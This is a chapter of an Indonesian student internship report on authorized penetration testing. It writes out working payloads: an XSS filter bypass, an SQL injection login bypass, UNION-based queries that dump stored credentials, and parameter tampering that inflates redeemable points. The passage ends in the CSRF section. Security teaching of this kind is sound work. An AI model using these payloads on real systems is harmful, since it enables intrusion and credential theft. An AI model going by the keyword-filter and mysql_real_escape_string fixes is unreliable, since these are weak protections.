BAB III ANALISA DAN PEMBAHASAN

35
Pordi IF - IT Telkom Purwokerto 16 NIM 14102019 BAB III ANALISA DAN PEMBAHASAN A. Pekerjaan/Kegiatan PT. Mitra Integrasi Informatika (MII) merupakan anak perusahan dari PT. Metrodata Electronics, Tbk yang didirikan pada pada tanggal 1 Maret 1996. Perusahan PT. Mitra Integrasi Informatika bergerak dibidang bisnis digital TIK. Solusi yang ditawarkan oleh PT. Mitra Integrasi Informatika adalah jasa konsultasi, infrastruktur serta manajemen services, integrasi sistem dan implementasi Enterprise Resource Planning (ERP) dan manajemen TIK. PT. Mitra Integrasi Informatika menawarkan layanan transformasi digital dan solusi pada bidang cloud computing, enterprise mobility, business analytics and big data, security infrastructure and network integration, business application implementation, managed services dan consulting services. Pada kesempatan praktik kerja lapangan ini, penulis berada pada bidang consulting services. Pada bidang consulting services kemudian dipecah menjadi beberapa pilar yang terdiri dari IT Risk Management, Information Security, IT Governance, IT Strategic Plan, IT Service Management. Penulis berada pada pilar information security. Pada pilar tersebut menawarkan solusi tentang penetration testing dan security assessment. Dalam melakukan security assessment terdapat tahapan-tahapan pekerjaan yang harus dilakukan. Tahapan tersebut terdiri dari kick of meeting, pentration testing, reporting, presentation, mitigation, verification, dan final report.. Gambar 3. 1 Gambar urutan pekerjaan Kick Of Meeting Penetration Testing Reporting Presentation Mitigation Verification Final Report

Transcript of BAB III ANALISA DAN PEMBAHASAN

Page 1: BAB III ANALISA DAN PEMBAHASAN

Pordi IF - IT Telkom Purwokerto 16 NIM 14102019

BAB III

ANALISA DAN PEMBAHASAN

A. Pekerjaan/Kegiatan

PT. Mitra Integrasi Informatika (MII) merupakan anak perusahan dari

PT. Metrodata Electronics, Tbk yang didirikan pada pada tanggal 1 Maret

1996. Perusahan PT. Mitra Integrasi Informatika bergerak dibidang bisnis

digital TIK. Solusi yang ditawarkan oleh PT. Mitra Integrasi Informatika

adalah jasa konsultasi, infrastruktur serta manajemen services, integrasi sistem

dan implementasi Enterprise Resource Planning (ERP) dan manajemen TIK.

PT. Mitra Integrasi Informatika menawarkan layanan transformasi digital dan

solusi pada bidang cloud computing, enterprise mobility, business analytics

and big data, security infrastructure and network integration, business

application implementation, managed services dan consulting services. Pada

kesempatan praktik kerja lapangan ini, penulis berada pada bidang consulting

services. Pada bidang consulting services kemudian dipecah menjadi beberapa

pilar yang terdiri dari IT Risk Management, Information Security, IT

Governance, IT Strategic Plan, IT Service Management. Penulis berada pada

pilar information security. Pada pilar tersebut menawarkan solusi tentang

penetration testing dan security assessment.

Dalam melakukan security assessment terdapat tahapan-tahapan

pekerjaan yang harus dilakukan. Tahapan tersebut terdiri dari kick of meeting,

pentration testing, reporting, presentation, mitigation, verification, dan final

report..

Gambar 3. 1 Gambar urutan pekerjaan

Kick Of Meeting

Penetration Testing

Reporting Presentation

Mitigation Verification Final Report

Page 2: BAB III ANALISA DAN PEMBAHASAN

17

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

1. Kick of Meeting

Pada tahap ini merupakan awal dari kegiatan suatu proyek.

Melakukan rapat dengan stakeholder yang terkait dengan proyek. Rapat

tersebut bertujuan untuk menyamakan tujuan proyek yang ingin dicapai

antara stakeholder yang terlibat dalam pelaksanaan proyek. Agenda yang

dibahas pada tahap awal biasanya membahas tentang ruang lingkup,

prosedur komunikasi, legalitas, perizinan, jadwal kegiatan, prosedur-

prosedur dan teknis pelaksanaan proyek yang akan berlangsung. Selain itu,

pada tahap ini seorang assesor menjelaskan metodologi yang akan

digunakan untuk melakukan penetration testing kepada pelanggan. Pada

tahap ini dapat digunakan untuk membahas objek apa saja yang perlu

dilakukan penetration testing dan permintaan hak akses untuk pengujian

dengan metode black box, grey box maupun white box. Pada tahap

pengujian menggunakan metode black box membutuhkan alamat IP address

atau URL objek yang akan dilakukan penetration testing. Pada tahap

pengujian menggunakan metode grey box membutuhkan masing-masing

dua akun yang memiliki level akses berbeda misalnya admin dan pengguna

biasa. Kemudian pada tahap white box membutuhkan akses untuk

berinteraksi dengan server secara langsung.

2. Kegiatan Penetration Testing

Dalam melakukan pengujian penetration testing penguji

menggunakan tiga metode pengujian yang terdiri dari black box testing,

grey box testing dan white box testing. Setiap metode memiliki sudut

pandang yang berbeda-beda. Penggunan tiga metode ini diharapkan dapat

untuk meminimalisir risiko serangan yang terjadi dari sisi internal maupun

eksternal.

Kemudian dalam melakukan kegiatan penetration testing, terbagi

menjadi tiga tahapan yang terdiri dari scope & plan, information gathering,

dan attack simulation. Setiap tahapan memilki perbedaan namun saling

terkait antara satu sama lain. Ketiga tahapan ini harus dilakukan untuk

mendapatkan hasil penetration testing yang baik.

Page 3: BAB III ANALISA DAN PEMBAHASAN

18

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 2 Gambar fase penetration testing

Pada tahap scope & plan, penguji menentukan ruang lingkup objek

apa saja yang akan dilakukan pada kegiatan penetration testing sesuai

perjanjian dalam proyek yang telah disepakati dengan stakeholder seperti

alamat IP maupun alamat URL. Kemudian pada tahap ini penguji perlu

menyusun rencana apa saja yang perlu dilakukan ketika melakukan

penetration testing mengacu pada objek yang akan diuji. Seperti

menentukan pengujian dilakukan dari jaringan eksternal atau melalui

jaringan internal.

Pada tahap information gathering, penguji melakukan pengumpulan

informasi tentang objek yang dijakan target penetration testing. Pada tahap

ini penguji melakukan reconnaissance secara aktif maupun secara pasif dan

melakukan scanning untuk mendapatkan informasi terkait objek yang

dijadikan target penetration testing. Pengumpulan informasi dapat

dilakukan menggunakan alat bantu otomatis seperti nmap, nessus, acunetix.

Hasil dari informasi terdiri dari informasi kerentanan yang terdapat pada

fitur tertentu, alamat IP, port yang terbuka dan informasi-informasi penting

lainnya yang dapat digunakan untuk melakukan simulasi serangan.

Pengujian secara manual perlu dilakukan untuk membutikan atau

memverfikasi temuan kelemahan yang didapatkan dari alat bantu.

Pada tahap attack simulation, penguji melakukan simulasi serangan

berdasarkan informasi yang telah ia dapatkan pada tahap sebelumnya. Pada

tahap ini perlu melakukan pengujian pada sisi aplikasi dan infrastruktur dari

objek yang dijakarkan target. Pengujian dilakukan pada kedua sisi untuk

mengidentifikasi kerentanan yang ada dan meminimalisir terjadinya risiko

yang ada.

Scope & Plan

Information Gathering

Attack Simulation

Page 4: BAB III ANALISA DAN PEMBAHASAN

19

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Pengujian yang baik melihat segala risiko yang mungkin terjadi yang

dapat merugikan perusahaan. Terdapat tiga kompenan penting dalam

melakukan pengujian yang terdiri dari confidentiality, integrity dan

availability. Pengujian dilakukan menggunakan metode black box, grey box

dan white box. Pengujian dilakukan pada sisi aplikasi maupun infrastruktur.

Pengujian yang baik tidak hanya berdasarkan tools scanner, namun

dibuktikan dengan analisa dan pembuktian bahwa temuan tersebut berisiko

apabila diekspoitasi oleh attacker. Ketika melakukan pengujian tidak boleh

melakukan perusakan yang menyebabkan sistem crash dan tidak boleh

memodifikasi informasi yang tersimpan pada sistem tanpa seizin dari client.

3. Reporting

Tahap pembuatan laporan adalah tahap mendokumentasikan temuan-

temuan yang ditemukan pada tahap sebelumnya yaitu tahap penetration

testing. Laporan yang dibuat akan diberikan kepada client sebagai hasil dari

pekerjaan yang sebelumnya telah dilakukan. Penulisan laporan yang baik

tidak hanya menjelaskan secara teknis, namun perlu menjelaskan risiko,

status, dampak, rekomendasi dan referensi dari setiap temuan celah yang

ditemukan.

Setiap temuan di petakan menjadi empat tingkat risiko yang terdiri

dari low, medium, high, dan critical. Pada tingkat risiko low, temuan ini

mempunyai potesi kerugian yang rendah. Pada tingkat risiko medium,

temuan mempunyai potensi kerugian yang sedang. Tingkat risiko low dan

medium secara tidak langsung dapat berkompromi terhadap akses kedalam

aplikasi, sistem, perangkat jaringan. Jika dikombinasikan dengan informasi

lainnya maka akan mendapatkan wawasan tentang bagaimana untuk

mendapatkan hak akses tidak sah. Karena tidak berdampak secara langsung

sehingga menghasilkan potensi risiko yang kecil dan sedang. Pada tingkat

risiko high, temuan mempunyai potensi kerugian yang besar. Pada tingkat

risiko critical, temuan mempunyai potensi kerugian yang sangat besar.

Tingkat risiko high dan critical memungkinkan seorang attacker melakukan

akses dan berinteraksi secara langsung kedalam aplikasi, sistem, perangkat

Page 5: BAB III ANALISA DAN PEMBAHASAN

20

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

jaringan secara tidak sah sehingga menghasilkan potensi risiko yang besar

dan sangat besar. Pemetaan risiko dapat memudahkan client dalam

pengambilan keputusan pada saat melakukan perbaikan dari celah-celah

yang telah ditemukan. Perbaikan yang baik harus mengutamakan perbaikan

yang risikonya paling tinggi ke risiko paling rendah.

Pada laporan yang baik perlu adanya status yang menjelaskan temuan

dari celah keamanan sudah ditutup atau masih terbuka. Ditutup artinya celah

keamanan tersebut sudah dimitigasi sedangkan terbuka artinya celah

tersebut masih belum ditangani dan belum ditutup. Setiap temuan celah

keamanan harus ditutup untuk mengantisipasi risiko yang ada.

Setiap temuan celah keamanan dijelaskan langkah demi langkah

secara jelas dan rinci disertai dengan screenshot sebagai bukti bahwa pada

aplikasi atau infrastruktur tersebut memiliki kerentanan yang dapat

dimanfaatkan oleh attacker. Hal ini perlu dilakukan untuk mempermudah

tim internal dari client apabila ingin melakukan pengecekan terhadap

temuan celah keamanan yang telah ditemukan.

Dalam penulisan laporan yang baik perlu memberikan dampak bisnis

yang akan terjadi apabila temuan celah tersebut tidak ditangani dan ditutup.

Setiap pelaporan dari celah keamanan perlu adanya rekomendasi untuk

menangani celah tersebut. Rekomendasi menjelaskan solusi yang tepat

untuk menutup dari celah tersebut. Sehingga memudahkan tim developer

untuk melakukan mitigasi pada setiap celah keamanan yang telah

ditemukan. Dalam laporan perlu adanya lampiran referensi bagaimana celah

tersebut dieksploitasi, referensi dampak bisnis yang terjadi. Berikut ini

merupakan contoh dari reporting yang baik.

Tabel 3. 1 Tabel Serangan XSS Pada Fitur Cari Produk

Reflected XSS Pada Fitur Cari Produk

Tingkat

Risiko

Medium

Status Open

Page 6: BAB III ANALISA DAN PEMBAHASAN

21

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Target

URL

https://*sensor*/namatoko?tab=product&keyword=v

ulnerable. Pada parameter keyword.

Deskripsi Serangan XSS merupakan serangan dengan cara

menyuntikan script ke aplikasi web melalui parameter

yang rentan terhadap serangan XSS. Serangan ini

terjadi karena belum terdapatnya pernyaringan

terhadap special character yang dimasukan oleh

pengguna aplikasi. Pada situasi ini yang terjadi adalah

reflected XSS dimana script tidak tersimpan didalam

web aplikasi.

Dampak Melalui kerentanan ini seorang attacker dapat

memanfaatkannya untuk memanipulasi pengguna

aplikasi untuk mengunjungi halaman palsu untuk

mendapatkan informasi seperti username, password.

Kemudian melalui celah ini dapat digunakan untuk

memanipulasi pengguna agar melakukan download

suatu malware yang kemudian akan berjalan di

komputer korban.

Langkah-

Langkah

Pada pengujian XSS pada umumnya menggunakan

payload seperti <script>alert(“xss”);</script>,

payload tersebut apabila tereksekusi oleh sistem maka

akan menampilkan pop up pada browser. Dengan

tereksekusinya script tersebut maka dapat dipastikan,

pada fitur tersebut tidak terdapat pengecekan spesial

karakter dan tidak melakukan escape. Namun ketika

penulis mencoba payload tersebut pada fitur pencarian

produk tidak berhasil Karena terdapat pengecekan

untuk menghindari serangan ini. Untuk itu perlu

adanya suatu payload baru yang digunakan untuk

melewati pengecekan tersebut. Kemudian penulis

Page 7: BAB III ANALISA DAN PEMBAHASAN

22

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

menggunakan payload ” style=”background:red”

onmouseover=”alert(document.domain)”><x=”

namun terfilter menjadi style=background:red x =.

Kemudian penulis mencoba melakukan bypassing

dengan mengganti Karakter lebih besar (>) dan lebih

kecil (<) dengan spasi “ “. Kemudian penulis membuat

payload menjadi seperti ini " style=”background:red;

“<onmouseover=”alert(document.domain)”<x=”.

Sehingga menghasilkan payload akhir adalah sebagai

berikut :

https://*sensor*/*sensor*?tab=product&keyword=

%22%20style=%E2%80%9Dbackground:red;%20%

E2%80%9C%3Conmouseover=%E2%80%9Dprom

pt(document.domain)%E2%80%9D%3Cx=%E2%8

0%9D

Gambar 3. 3 Gambar celah XSS

Rekomend

asi

Untuk mengantisipasi terjadinya serangan XSS perlu

adanya penyaringan special character dan memfilter

kata kunci seperti alert, prompt, confirm,

onmouseover, script dan keyword yang biasa

digunakan untuk melakukan serangan XSS.

Referensi https://www.owasp.org/index.php/Testing_for_Refle

cted_Cross_site_scripting_(OTG-INPVAL-001)

Page 8: BAB III ANALISA DAN PEMBAHASAN

23

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

4. Presentation

Presentation merupakan bagian dari pekerjaan security assessment.

Presentation dilakukan didepan client dengan memapakarkan temuan-

temuan yang telah diidentifikasi pada tahap sebelumnya. Penyampain

presentasi yang baik memarkan informasi berdasarkan fakta yang terjadi.

Informasi yang disampaikan adalah temuan-temuan yang telah

teridentifikasi, dengan memamarkan nama temuan, risiko yang ada dan

dampak dari kelamahan tersebut apabila dapat dimanfaatkan oleh orang

yang tidak bertanggung jawab. Selain itu seorang presenter akan

memberikan solusi-solusi dari kendala tentang penangan temuan celah

keamanan yang baik.

5. Mitigation

Pada tahap mitigasi, penguji tidak melakukan kegiatan mitigasi secara

langsung, namun penguji membantu tim developer melalui pemberian

solusi dan referensi untuk memperbaiki celah keamanan yang ada. Tim

developer dari client akan memperbaiki temuan – temuan celah keamanan

yang telah teridentifikasi pada saat kegiatan penetration testing. Seorang

penguji akan menyarankan kepada tim developer untuk melakukan mitigasi

terhadap temuan celah keamanan yang mimiliki tingkat risiko yang paling

besar. Pada tahap mitigasi, penguji memberikan waktu untuk memerbaiki

sekitar dua minggu sampai satu bulan untuk memastikan semua celah

keamanan tersebut ditutup oleh tim developer.

6. Verification

Pada tahap verifikasi, penguji melakukan pengujian kembali temuan-

temuan celah keamanan yang telah diidentifikasi pada tahap penetration

testing. Pengujian dilakukan menggunakan cara yang sama seperti pada

temuan sebelumnya. Pada tahap verifikasi penguji memastikan temuan

celah keamanan sudah ditutup pada tahap mitigasi yang dilakukan oleh tim

developer. Temuan yang sudah ditutup akan mengalami perubahan status

dari open menjadi closed. Apabila pada tahap verifikasi menemukan temuan

yang belum ditutup, maka status temuan tetap open. Berikut ini merupakan

Page 9: BAB III ANALISA DAN PEMBAHASAN

24

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

contoh dari temuan yang sudah diverifikasi dan status temuan menjadi

closed.

Tabel 3. 2 Tabel Verifikasi Serangan XSS Pada Cari Produk

Reflected XSS Pada Fitur Cari Produk

Tingkat

Risiko

Medium

Status Closed

Target

URL

https://*sensor*/namatoko?tab=product&keyword=v

ulnerable. Pada parameter keyword.

Deskripsi Serangan XSS merupakan serangan dengan cara

menyuntikan script ke aplikasi web melalui parameter

yang rentan terhadap serangan XSS. Serangan ini

terjadi karena belum terdapatnya pernyaringan

terhadap special character yang dimasukan oleh

pengguna aplikasi. Pada situasi ini yang terjadi adalah

reflected XSS dimana script tidak tersimpan didalam

web aplikasi.

Dampak Melalui kerentanan ini seorang attacker dapat

memanfaatkannya untuk memanipulasi pengguna

aplikasi untuk mengunjungi halaman palsu untuk

mendapatkan informasi seperti username, password.

Kemudian melalui celah ini dapat digunakan untuk

memanipulasi pengguna agar melakukan download

suatu malware yang kemudian akan berjalan di

komputer korban.

Langkah-

Langkah

Pada pengujian penetration testing, untuk

mengeksploitasi kerentan ini dengan membuat

payload " style=”background:red;

“<onmouseover=”alert(document.domain)”<x=”

Page 10: BAB III ANALISA DAN PEMBAHASAN

25

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

yang dimasukan kedalam parameter. Sehingga

menghasilkan payload akhir adalah sebagai berikut :

https://*sensor*/*sensor*?tab=product&keyword=

%22%20style=%E2%80%9Dbackground:red;%20%

E2%80%9C%3Conmouseover=%E2%80%9Dprom

pt(document.domain)%E2%80%9D%3Cx=%E2%8

0%9D

Pengujian kembali dilakukan untuk memastikan

temuan celah diatas sudah diperbaiki pada tahap

mitigasi. Pengujian dilakukan dengan menyuntikan

payload " style=”background:red;

“<onmouseover=”alert(document.domain)”<x=”

yang dimasukan kedalam parameter. Sehingga

menghasilkan payload akhir adalah sebagai berikut :

https://*sensor*/*sensor*?tab=product&keyword=

%22%20style=%E2%80%9Dbackground:red;%20%

E2%80%9C%3Conmouseover=%E2%80%9Dprom

pt(document.domain)%E2%80%9D%3Cx=%E2%8

0%9D. Hasilnya payload tesebut tidak dapat

dieksekusi oleh browser sehingga temuan celah diatas

dinyatakan sudah ditutup.

Gambar 3. 4 Gambar celah XSS sudah ditutup

Rekomend

asi

Untuk mengantisipasi terjadinya serangan XSS perlu

adanya penyaringan special character dan memfilter

kata kunci seperti alert, prompt, confirm,

Page 11: BAB III ANALISA DAN PEMBAHASAN

26

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

onmouseover, script dan keyword yang biasa

digunakan untuk melakukan serangan XSS.

Referensi https://www.owasp.org/index.php/Testing_for_Refle

cted_Cross_site_scripting_(OTG-INPVAL-001)

7. Final Report

Final report merupakan tahapan terakhir dari pekerjaan security

assessment. Final report akan diberikan kepada client. Final report

berisikan laporan penetration testing dan verifikasi dari temuan

vulnerability yang sudah dimitigasi dan belum dimitigasi.

B. Analisa dan Pembahasan Hasil Pekerjaan

1. SQL Injection Pada Fitur Login

SQL injection jenis serangan yang dapat digunakan oleh seorang

attacker untuk dapat berinteraksi dengan database aplikasi. Serangan ini

terjadi karena tidak adanya penyaringan spesial karakter pada parameter

masukan pada suatu aplikasi. Celah ini dapat diidentifikasi dengan

memasukan karakter single quote pada suatu parameter. Apabila

menghasilkan pesan error maka pada parameter tersebut dapat

dimanfaatkan untuk melakukan serangan SQL Injection. Melalui kerentanan

ini seorang attacker dapat memanfaatkannya untuk melihat, mengambil dan

memodifikasi seluruh informasi yang tersimpan di database secara ilegal.

Selain itu, melalui serangan ini dapat mengambil file yang tersimpan di

server.

Untuk melakukan pengujian ini, hal yang perlu dilakukan adalah

mencoba menginjeksi pada parameter username dan password dengan

query ‘OR 1 = 1 limit 1#. Setelah query tersebut dieksekusi oleh database

server, hasilnya akan dikembalikan ke aplikasi web yang mengakibatkan

otentifikasi terlewati. Hal ini disebabkan payload ‘OR 1 = 1 limit 1# akan

mengambalikan nilai true sehingga proses otorisasi terlewati.

Page 12: BAB III ANALISA DAN PEMBAHASAN

27

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 5Gambar bypass authentication dengan SQL Injection

Berikut ini merupakan tampilan halaman admin yang dapat dilewati

menggunakan pengujian SQL Injection bypass login.

Gambar 3. 6G Gambar berhasil login

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang

attacker dapat berinteraksi ke dashboard secara tidak sah. Attacker dapat

mengubah data apapun karena berada pada dashboard admin. Untuk

mengantisipasi terjadinya serangan ini perlu adanya penyaringan spesial

karakter pada parameter masukan baik pada method GET maupun method

POST. Untuk melakukan penyaringan pada bahasa pemrograman PHP,

sudah terdapat fungsi yang dapat digunakan untuk mencegah serangan ini

yaitu mysql_real_escape_string.

Page 13: BAB III ANALISA DAN PEMBAHASAN

28

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

2. Blind SQL Injection Pada Fitur Pencarian

Blind SQL injecton merupakan jenis serangan yang dapat digunakan

oleh seorang attacker untuk dapat berinteraksi dengan database aplikasi.

Sedikit berbeda dengan SQL injection biasa, pada blind SQL injection tidak

menampilkan pesan error apabila dilakukan injeksi. Celah ini disebabkan

tidak adanya penyaringan spesial karakter pada parameter masukan pada

suatu aplikasi. Melalui kerentanan ini seorang attacker dapat

memanfaatkannya untuk melihat, mengambil dan memodifikasi seluruh

informasi yang tersimpan di database secara ilegal. Selain itu, melalui

serangan ini dapat mengambil file yang tersimpan di server. Untuk

melakukan pengujian sql injection dengan cara memberikan masukan single

quote (‘). Apbila menampilkan pesan error, maka pada parameter tersebut

mempunyai celah sql injection. Pada kasus ini, pesan error di non aktifkan

sehingga cukup menyulitkan untuk mengetahui parameter tersebut

mempunyai celah atau tidak.

Hal yang pertama dilakukan mencoba menginputkan payload Kartini’

namun tidak mendapatkan hasil apapun. Kemudian menggantinya dengan

mencoba memasukan payload Kartini'order+by+12--+-+ hasilnya

menampilkan film kartini.

Gambar 3. 7 Gambar pengujian blind SQL Injection

Namun ketika mencoba memasukan payload Kartini'order+by+13--+-+

hasilnya kembali tidak tampil. Berdasarkan percobaan diatas dapat

disimpulkan bawah kolom dari tabel film berjumlah 12. Hal ini terjadi

karena pada order by 12 masih menampilkan kartini, namun ketika pada

order by 13 tidak mendapatkan output kartini. Sehingga didapatkan rumus

13-1 menghasilkan 12, jadi jumlah kolom pada tabel yang digunakan

berjumlah 12. Kemudian langkah selanjutnya mencoba mencari magic

Page 14: BAB III ANALISA DAN PEMBAHASAN

29

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

number untuk dieskploitasi lebih dalam menggunakan payload sebagai

berikut Kartini'union+all+select+1,2,3,4,5,6,7,8,9,10,11,12--+-+. Melalui

payload tersebut database akan merespon dengan keluaran berupa magic

number yang terdiri dari 3,5,9 dan 12. Magic number tersebut dapat

digunakan untuk tempat melakukan injeksi selanjutnya.

Gambar 3. 8 Gambar pengujian blind SQL Injection mendapatkan magic number

Selanjutnya yang perlu dilakukan adalah memilih salah satu magic

number, pada percobaan ini mencoba menggunakan magic number 3. Untuk

mendapatkan tabel yang terdapat pada database menggunakan payload

seperti berikut

Kartini'union+all+select+1,2,concat(table_name),4,5,6,7,8,9,10,11,12+fr

om+information_schema.tables+where+table_schema=database()--+-+

Apabila payload diatas dikirimkan dan dieksekusi oleh database maka akan

menampilkan informasi tabel apa saja yang terdapat pada database yang

saat ini sedang digunakan. Melalui payload diatas penulis mendapatkan

informasi yang terdiri dari tabel jam, kategori, konfirmasi, movie, pesan,

rekening, studio dan user.

Page 15: BAB III ANALISA DAN PEMBAHASAN

30

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 9 Gambar pengujian blind SQL Injection mendapatkan tabel

Untuk mendapatkan informasi login, biasanya informasi username

dan password disimpan pada tabel user. Karena asumsi dari penulis bahwa

informasi tersebut tersimpan di tabel user maka yang perlu dilakukan adalah

mencoba mendapatkan kolom yang terdapat pada tabel user menggunakan

payload sebagai berikut :

Kartini'union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,1

0,11,12+from+information_schema.columns+where+table_name=0x757

36572--+-+

0x75736572 adalah hasil hexadecimal dari user. Apabila payload diatas

dikirimkan dan dieksekusi oleh database maka akan merespon dengan

menampilkan informasi kolom yang terdapat pada tabel user. Melalui

payload diatas mendapatkan informasi kolom seperti username dan

password. Kolom tersebut menyimpan informasi untuk login ke sistem.

Page 16: BAB III ANALISA DAN PEMBAHASAN

31

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 10 Gambar pengujian blind SQL Injection mendapatkan field tabel user

Hal yang selanjutnya dilakukan adalah melakukan dumping data yang

terdapat pada kolom Username dan Password yang terdapat pada tabel user.

Dumping data berfungsi untuk mengambil isi dari informasi yang tersimpan

pada field tersebut. Sehingga mendapatkan informasi yang digunakan untuk

login ke sisitem aplikasi. Berikut ini merupakan payload yang digunakan

untuk melakukan dumping pada field Username dan Password.

Kartini'union+all+select+1,2,group_concat(Username,Password),4,5,6,7

,8,9,10,11,12+from+user+--+-+. Hasil dari eksekusi payload tersebut akan

menampilkan informasi username dan password yang dapat digunakan

untuk login ke sistem aplikasi.

Gambar 3. 11 Gambar pengujian blind SQL Injection mendapatkan username dan password

Selelah berhasil diambil, penulis mendapatkan informasi berupa

username dan password yang masih dalam keadaan hashing. Biasanya

hashing yang digunakan oleh programmer menggunakan MD5 atau SHA1.

Setelah mendapatkan password yang di hash kemudian melakukan cracking

Page 17: BAB III ANALISA DAN PEMBAHASAN

32

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

menggunakan hashkiller yang dapat diakses pada halaman

https://hashkiller.co.uk/md5-decrypter.aspx, penulis mendapatkan

informasi password aslinya yaitu admin.

Gambar 3. 12 Gambar Cracking MD5 hash

Pada serangan diatas dapat disimpulkan bahwa seragan SQL Injection

dapat digunakan untuk mengambil data dari database secara tidak sah.

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang attacker

dapat mengambil data yang terdapat pada database secara tidak sah. Untuk

mengantisipasi terjadinya serangan ini perlu adanya penyaringan spesial

karakter pada parameter masukan baik pada method GET maupun method

POST. Untuk melakukan penyaringan pada bahasa pemrograman PHP,

sudah terdapat fungsi yang dapat digunakan untuk mencegah serangan ini

yaitu mysql_real_escape_string.

3. Memanipulasi Point Melalui Parameter Tampering

Parameter Tampering merupakan serangan yang digunakan oleh

seorang attacker untuk memodifikasi nilai suatu parameter ketika terjadi

proses pertukuaran informasi antara client dan server. Pada serangan ini

biasanya tidak adanya pengecekan nilai pada sisi server, sehingga dapat

dimanfaatkan untuk melakukan hal-hal ilegal seperti mencairkan point yang

jumlahnya tidak sesuai semestinya. Melalui kerentanan ini seorang attacker

dapat memanfaatkannya untuk mencairkan point yang tidak sesuai dengan

point yang ia miliki. Seorang attacker dapat mencairkan point sebanyak-

banyaknya walaupun ia tidak mempunyai saldo point yang cukup untuk

mencairkannya ke nominal uang.

Pada celah ini penulis memanfaatkan tidak adanya pengecekan pada

sisi server. Penulis mempunyai point sebanyak 8500 point apabila dicairkan

menghasilkan Rp. 212.500,00. Dari sini dapat dihitung 1 point

merepresentasikan 25 rupiah.

Page 18: BAB III ANALISA DAN PEMBAHASAN

33

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 13 Gambar pengujian parameter tampering

Untuk mengetahui parameter apa saja yang dikirimkan perlu adanya

intercept request. Melalui bantuan tool seperti BurpSuite dapat diguanakan

melakukan intercept dan mendapatkan parameter apa saja yang akan

dikirimkan ke server.

Gambar 3. 14 Gambar memodifikasi nilai dari parameter

Penulis mencoba memodifikasi nilaipada parameter pepe_point,

total_point_idr_value, dan redeem_point. Hal ini dilakukan pengujian

Page 19: BAB III ANALISA DAN PEMBAHASAN

34

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

apakah parameter tersebut rentan terhadap serangan parameter tampering

atau tidak. Penulis mencoba memanipulasi pepe_point yang awalnya 8500

menjadi 85000, total_point_idr_value yang awalnya 212500 menjadi

2012500 dan redeem_point yang awalnya 8000 menjadi 80000.

Gambar 3. 15 Gambar hasil modifikasi

Ketika request hasil manipulasi tadi dikirim dan diproses oleh aplikasi

hasilnya adalah poin berhasil ditukarkan yang awalnya 200 ribu namun

menghasilkan nilai hasil manipulasi yaitu 2 juta rupiah.

Gambar 3. 16 Gambar hasil akhir pengujian parameter tampering

Page 20: BAB III ANALISA DAN PEMBAHASAN

35

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Pada kasus ini dapat disimpulkan bahwa parameter pepe_point,

total_point_idr_value, dan redeem_point rentan terhadap serangan

parameter tampering. Serangan ini menghasilkan nilai risiko yang tinggi,

karena seorang attacker dapat memanipulasi jumlah point dan uang yang

ingin ia cairkan yang berdampak pada kerugian finansial perusahaan. Untuk

mengantisipasi terjadinya serangan ini perlu adanya pengecekan pada

parameter pepe_point, total_point_idr_value, dan redeem_point di sisi

server dengan membandingkan nilai yang dimasukan oleh pengguna

dengan data yang tersimpan pada database. Sehingga apabila terjadi

manipulasi pada sisi client, dapat dicegah melalui cara ini.

4. Mengambil Alih Akun Pengguna Lain dengan CSRF

CSRF (Cross Site Request Forgery) merupakan jenis serangan yang

terjadi karena tidak adanya unique token yang melindungi pada setiap

perubahan data yang dilakukan oleh pengguna. Melalui kerentanan ini

seorang attacker dapat memanfaatkannya untuk memaksa pengguna lain

mengganti email yang terdapat pada aplikasi dengan hanya mengirimkan

URL ataupun file HTML yang didalamnya terdapat suatu script untuk

melakukan proses perbuahan email. Apabila URL atau file HTML tersebut

dibuka oleh pengguna, maka email beganti secara otomatis. Sehingga dapat

digunakan oleh attacker untuk mengambil akun korban melalui reset

password dengan memanfaatkan email yang sudah terganti.

Untuk langkah awal hal yang perlu dilakukan adalah mencoba

melakukan analisa permintaan ubah email dengan melakukan intercept

melalui burpsuite.

Gambar 3. 17 Gambar hasil akhir pengujian CSRF

Page 21: BAB III ANALISA DAN PEMBAHASAN

36

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Kerentanan terdapat pada permintaan ubah email. Terdapat dua kerentanan

yang dapat dimanfaatkan melalui cara ini yaitu tidak adanya unique token

dan tidak adanya pengecekan email sebelumnya yang digunakan oleh user.

Unique token digunakan untuk melindungi user pada setiap melakukan

permintaan agar terhindar dari serangan CSRF. Kemudian pada parameter

